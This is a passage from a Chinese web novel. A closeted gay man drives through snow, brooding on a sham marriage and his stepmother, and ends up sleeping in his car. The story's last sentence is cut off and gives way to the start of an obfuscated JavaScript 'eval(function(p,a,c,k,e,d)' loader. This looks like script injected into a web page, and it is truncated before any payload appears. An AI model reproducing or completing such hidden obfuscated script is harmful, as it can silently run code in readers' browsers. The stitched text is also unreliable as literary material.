无名指上,没有戒指。
许璋又无趣起来,转身想回车上。
杭樾在他身后说:“高三的时候,老师让每人分享一个想去的景点,你分享的是鱼子西,你说想在雪山上看一次日落。”
“所以?”许璋挑眉。
杭樾换完胎,拍了拍手上的灰,起身道:“所以我想去看看,那是个什么样的地方。”
“当时每个人都上去分享了,你每个地方都去过?”许璋嘲道。
“没那闲工夫。”杭樾骑上车,戴好头盔,“我去那里是因为想去,不是因为你,少自作多情。”
他发动摩托,毫无留恋地扬长而去。
许璋嘀咕:“我又没说是因为我。”
他看着公路尽头消失的背影,心里知晓,这一路应该不会再碰面了。
杭樾讨厌他,修车已经是仁至义尽。
他启动车子,继续上路。
雨刮器一晃一晃的,将玻璃上的碎雪拨开,雪粒子掉在道路上,被车轮碾压成泥水。
车内放着一首歌,有点哀伤。
许璋嫌它过于缠绵,换了首亢奋的摇滚,脑子里却开始想刚才的话题。
婚姻——对他来说是个很陌生的词。
他会结婚吗?
或许会吧。
找个志同道合的les,回家上演一场男欢女爱戏码,就像母亲离开后,他独自表演的十多年一样。
他需要这个面具,许家也需要这个面具,他和许明楼都心知肚明。
许明楼培养他、器重他,对那些破事视而不见,只要没人去捅破窗户纸,他就能心安理得享受现在的一切。
他是许家最优秀的长子,是许氏最得力的高层,也是继母最痛恨的继子。
他耀眼夺目,他光芒万丈,这些会化成一把利剑,刺穿那个取代他母亲的人的心脏,让她在高位上永远不能安宁。
许璋勾起嘴角,心情颇好,随着音乐摇头晃脑。
雪下得越来越大,他开得慢吞吞,一个刹车,后座的画滑了下去。
颜料洒落一地,画笔堆成脏兮兮的小山。
曾经将他从黑暗中拽出来的东西,他抱在怀里珍惜到不行的东西,如今已经不那么重要了。
许璋看了眼后座,嘴角一点点降下去。
英文歌播完后,又切回了刚刚那首歌。
男声缓缓唱道:
“如果可以
我想和你
回到那天相遇
让时间停止那一场雨”
“只想拥抱你在身边的证据
吻你的呼吸
一眨眼一瞬间
你说好就是永远”
车在夜色中前进,第二天晚上,进入了安庆。
许璋开到服务区时,天已经黑了下来。
路上遇到一辆理想,车上两个女生。
副驾说车灯坏了,问能不能跟在他后面,许璋便打开语音让她们跟着。
晚上能见度低,两辆车开得缓慢。
副驾说:“怎么办啊,我找了一圈,周围的旅店全都满了。”
“真的假的?你再搜搜看呢。”主驾道。
“真的,不信你自己搜,啊啊啊他们都说这条线人多,昨天明明没什么人啊。”
“要不找个充电桩,在车里凑合一晚得了。”
“我们倒是还好,小帅哥开的是油车,他不得冻死啊。”
“冻不死,我带了保暖设备。”许璋无所谓地说,“你们先去找充电桩吧,我开去前面问问。”
他们都经验不足,没有提前订好旅店,只得分开行驶寻找。
二十分钟后,许璋还真找到一间空房,将两个女生带了过去。
“外面太冷了,要不……你和我们挤一挤?”副驾犹豫道。
许璋说:“我再找找,不至于一间都没有。”
他虽然是gay,但和两个陌生女孩挤,实在不像话。
路边的雪积了寸余,寒风在公路上肆虐,白天辽阔的旷野,此时竟变得阴森可怖。
许璋折腾了一大圈,也没找到空房,只好把车停在空地。
他将座椅放下,拍了张照发朋友圈:【试试新买的床垫。】
底下有人评论:【许总,你怎么睡车里了?】
【听说这几天有大雪,许哥注意安全。】
【你还不是雪地胎,记得装防滑链。】
【晚上睡车里安全吗?你应该开房车去的,这条路人好多。】
许璋躺在垫子上回复:【真要那么大雪,估
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){retur